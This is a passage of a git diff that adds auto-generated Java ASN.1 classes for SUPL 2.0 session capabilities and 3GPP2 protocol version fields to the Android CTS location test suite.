+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public periodicTriggerType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_periodicTriggerType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_periodicTriggerType != null) {
+ return ImmutableList.of(TAG_periodicTriggerType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new periodicTriggerType from encoded stream.
+ */
+ public static periodicTriggerType fromPerUnaligned(byte[] encodedBytes) {
+ periodicTriggerType result = new periodicTriggerType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new periodicTriggerType from encoded stream.
+ */
+ public static periodicTriggerType fromPerAligned(byte[] encodedBytes) {
+ periodicTriggerType result = new periodicTriggerType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "periodicTriggerType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class areaEventTriggerType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_areaEventTriggerType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public areaEventTriggerType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_areaEventTriggerType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_areaEventTriggerType != null) {
+ return ImmutableList.of(TAG_areaEventTriggerType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new areaEventTriggerType from encoded stream.
+ */
+ public static areaEventTriggerType fromPerUnaligned(byte[] encodedBytes) {
+ areaEventTriggerType result = new areaEventTriggerType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new areaEventTriggerType from encoded stream.
+ */
+ public static areaEventTriggerType fromPerAligned(byte[] encodedBytes) {
+ areaEventTriggerType result = new areaEventTriggerType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "areaEventTriggerType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ServicesSupported = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java
new file mode 100755
index 0000000..c62fcec
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SessionCapabilities extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SessionCapabilities
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SessionCapabilities() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SessionCapabilities;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SessionCapabilities != null) {
+ return ImmutableList.of(TAG_SessionCapabilities);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SessionCapabilities from encoded stream.
+ */
+ public static SessionCapabilities fromPerUnaligned(byte[] encodedBytes) {
+ SessionCapabilities result = new SessionCapabilities();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SessionCapabilities from encoded stream.
+ */
+ public static SessionCapabilities fromPerAligned(byte[] encodedBytes) {
+ SessionCapabilities result = new SessionCapabilities();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SessionCapabilities.maxNumberTotalSessionsType maxNumberTotalSessions_;
+ public SessionCapabilities.maxNumberTotalSessionsType getMaxNumberTotalSessions() {
+ return maxNumberTotalSessions_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SessionCapabilities.maxNumberTotalSessionsType
+ */
+ public void setMaxNumberTotalSessions(Asn1Object value) {
+ this.maxNumberTotalSessions_ = (SessionCapabilities.maxNumberTotalSessionsType) value;
+ }
+ public SessionCapabilities.maxNumberTotalSessionsType setMaxNumberTotalSessionsToNewInstance() {
+ maxNumberTotalSessions_ = new SessionCapabilities.maxNumberTotalSessionsType();
+ return maxNumberTotalSessions_;
+ }
+
+ private SessionCapabilities.maxNumberPeriodicSessionsType maxNumberPeriodicSessions_;
+ public SessionCapabilities.maxNumberPeriodicSessionsType getMaxNumberPeriodicSessions() {
+ return maxNumberPeriodicSessions_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SessionCapabilities.maxNumberPeriodicSessionsType
+ */
+ public void setMaxNumberPeriodicSessions(Asn1Object value) {
+ this.maxNumberPeriodicSessions_ = (SessionCapabilities.maxNumberPeriodicSessionsType) value;
+ }
+ public SessionCapabilities.maxNumberPeriodicSessionsType setMaxNumberPeriodicSessionsToNewInstance() {
+ maxNumberPeriodicSessions_ = new SessionCapabilities.maxNumberPeriodicSessionsType();
+ return maxNumberPeriodicSessions_;
+ }
+
+ private SessionCapabilities.maxNumberTriggeredSessionsType maxNumberTriggeredSessions_;
+ public SessionCapabilities.maxNumberTriggeredSessionsType getMaxNumberTriggeredSessions() {
+ return maxNumberTriggeredSessions_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SessionCapabilities.maxNumberTriggeredSessionsType
+ */
+ public void setMaxNumberTriggeredSessions(Asn1Object value) {
+ this.maxNumberTriggeredSessions_ = (SessionCapabilities.maxNumberTriggeredSessionsType) value;
+ }
+ public SessionCapabilities.maxNumberTriggeredSessionsType setMaxNumberTriggeredSessionsToNewInstance() {
+ maxNumberTriggeredSessions_ = new SessionCapabilities.maxNumberTriggeredSessionsType();
+ return maxNumberTriggeredSessions_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaxNumberTotalSessions() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaxNumberTotalSessions();
+ }
+
+ @Override public void setToNewInstance() {
+ setMaxNumberTotalSessionsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SessionCapabilities.maxNumberTotalSessionsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "maxNumberTotalSessions : "
+ + getMaxNumberTotalSessions().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaxNumberPeriodicSessions() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaxNumberPeriodicSessions();
+ }
+
+ @Override public void setToNewInstance() {
+ setMaxNumberPeriodicSessionsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SessionCapabilities.maxNumberPeriodicSessionsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "maxNumberPeriodicSessions : "
+ + getMaxNumberPeriodicSessions().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaxNumberTriggeredSessions() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaxNumberTriggeredSessions();
+ }
+
+ @Override public void setToNewInstance() {
+ setMaxNumberTriggeredSessionsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SessionCapabilities.maxNumberTriggeredSessionsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "maxNumberTriggeredSessions : "
+ + getMaxNumberTriggeredSessions().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class maxNumberTotalSessionsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_maxNumberTotalSessionsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public maxNumberTotalSessionsType() {
+ super();
+ setValueRange("1", "128");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_maxNumberTotalSessionsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_maxNumberTotalSessionsType != null) {
+ return ImmutableList.of(TAG_maxNumberTotalSessionsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new maxNumberTotalSessionsType from encoded stream.
+ */
+ public static maxNumberTotalSessionsType fromPerUnaligned(byte[] encodedBytes) {
+ maxNumberTotalSessionsType result = new maxNumberTotalSessionsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new maxNumberTotalSessionsType from encoded stream.
+ */
+ public static maxNumberTotalSessionsType fromPerAligned(byte[] encodedBytes) {
+ maxNumberTotalSessionsType result = new maxNumberTotalSessionsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "maxNumberTotalSessionsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class maxNumberPeriodicSessionsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_maxNumberPeriodicSessionsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public maxNumberPeriodicSessionsType() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_maxNumberPeriodicSessionsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_maxNumberPeriodicSessionsType != null) {
+ return ImmutableList.of(TAG_maxNumberPeriodicSessionsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new maxNumberPeriodicSessionsType from encoded stream.
+ */
+ public static maxNumberPeriodicSessionsType fromPerUnaligned(byte[] encodedBytes) {
+ maxNumberPeriodicSessionsType result = new maxNumberPeriodicSessionsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new maxNumberPeriodicSessionsType from encoded stream.
+ */
+ public static maxNumberPeriodicSessionsType fromPerAligned(byte[] encodedBytes) {
+ maxNumberPeriodicSessionsType result = new maxNumberPeriodicSessionsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "maxNumberPeriodicSessionsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class maxNumberTriggeredSessionsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_maxNumberTriggeredSessionsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public maxNumberTriggeredSessionsType() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_maxNumberTriggeredSessionsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_maxNumberTriggeredSessionsType != null) {
+ return ImmutableList.of(TAG_maxNumberTriggeredSessionsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new maxNumberTriggeredSessionsType from encoded stream.
+ */
+ public static maxNumberTriggeredSessionsType fromPerUnaligned(byte[] encodedBytes) {
+ maxNumberTriggeredSessionsType result = new maxNumberTriggeredSessionsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new maxNumberTriggeredSessionsType from encoded stream.
+ */
+ public static maxNumberTriggeredSessionsType fromPerAligned(byte[] encodedBytes) {
+ maxNumberTriggeredSessionsType result = new maxNumberTriggeredSessionsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "maxNumberTriggeredSessionsType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SessionCapabilities = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java
new file mode 100755
index 0000000..36e345a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java
@@ -0,0 +1,590 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Supported3GPP2PosProtocolVersion extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Supported3GPP2PosProtocolVersion
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Supported3GPP2PosProtocolVersion() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Supported3GPP2PosProtocolVersion;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Supported3GPP2PosProtocolVersion != null) {
+ return ImmutableList.of(TAG_Supported3GPP2PosProtocolVersion);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Supported3GPP2PosProtocolVersion from encoded stream.
+ */
+ public static Supported3GPP2PosProtocolVersion fromPerUnaligned(byte[] encodedBytes) {
+ Supported3GPP2PosProtocolVersion result = new Supported3GPP2PosProtocolVersion();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Supported3GPP2PosProtocolVersion from encoded stream.
+ */
+ public static Supported3GPP2PosProtocolVersion fromPerAligned(byte[] encodedBytes) {
+ Supported3GPP2PosProtocolVersion result = new Supported3GPP2PosProtocolVersion();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Supported3GPP2PosProtocolVersion.revisionNumberType revisionNumber_;
+ public Supported3GPP2PosProtocolVersion.revisionNumberType getRevisionNumber() {
+ return revisionNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Supported3GPP2PosProtocolVersion.revisionNumberType
+ */
+ public void setRevisionNumber(Asn1Object value) {
+ this.revisionNumber_ = (Supported3GPP2PosProtocolVersion.revisionNumberType) value;
+ }
+ public Supported3GPP2PosProtocolVersion.revisionNumberType setRevisionNumberToNewInstance() {
+ revisionNumber_ = new Supported3GPP2PosProtocolVersion.revisionNumberType();
+ return revisionNumber_;
+ }
+
+ private Supported3GPP2PosProtocolVersion.pointReleaseNumberType pointReleaseNumber_;
+ public Supported3GPP2PosProtocolVersion.pointReleaseNumberType getPointReleaseNumber() {
+ return pointReleaseNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Supported3GPP2PosProtocolVersion.pointReleaseNumberType
+ */
+ public void setPointReleaseNumber(Asn1Object value) {
+ this.pointReleaseNumber_ = (Supported3GPP2PosProtocolVersion.pointReleaseNumberType) value;
+ }
+ public Supported3GPP2PosProtocolVersion.pointReleaseNumberType setPointReleaseNumberToNewInstance() {
+ pointReleaseNumber_ = new Supported3GPP2PosProtocolVersion.pointReleaseNumberType();
+ return pointReleaseNumber_;
+ }
+
+ private Supported3GPP2PosProtocolVersion.internalEditLevelType internalEditLevel_;
+ public Supported3GPP2PosProtocolVersion.internalEditLevelType getInternalEditLevel() {
+ return internalEditLevel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Supported3GPP2PosProtocolVersion.internalEditLevelType
+ */
+ public void setInternalEditLevel(Asn1Object value) {
+ this.internalEditLevel_ = (Supported3GPP2PosProtocolVersion.internalEditLevelType) value;
+ }
+ public Supported3GPP2PosProtocolVersion.internalEditLevelType setInternalEditLevelToNewInstance() {
+ internalEditLevel_ = new Supported3GPP2PosProtocolVersion.internalEditLevelType();
+ return internalEditLevel_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRevisionNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRevisionNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setRevisionNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Supported3GPP2PosProtocolVersion.revisionNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "revisionNumber : "
+ + getRevisionNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPointReleaseNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPointReleaseNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setPointReleaseNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Supported3GPP2PosProtocolVersion.pointReleaseNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "pointReleaseNumber : "
+ + getPointReleaseNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getInternalEditLevel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getInternalEditLevel();
+ }
+
+ @Override public void setToNewInstance() {
+ setInternalEditLevelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Supported3GPP2PosProtocolVersion.internalEditLevelType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "internalEditLevel : "
+ + getInternalEditLevel().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class revisionNumberType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_revisionNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public revisionNumberType() {
+ super();
+ setMinSize(6);
+setMaxSize(6);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_revisionNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_revisionNumberType != null) {
+ return ImmutableList.of(TAG_revisionNumberType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new revisionNumberType from encoded stream.
+ */
+ public static revisionNumberType fromPerUnaligned(byte[] encodedBytes) {
+ revisionNumberType result = new revisionNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new revisionNumberType from encoded stream.
+ */
+ public static revisionNumberType fromPerAligned(byte[] encodedBytes) {
+ revisionNumberType result = new revisionNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
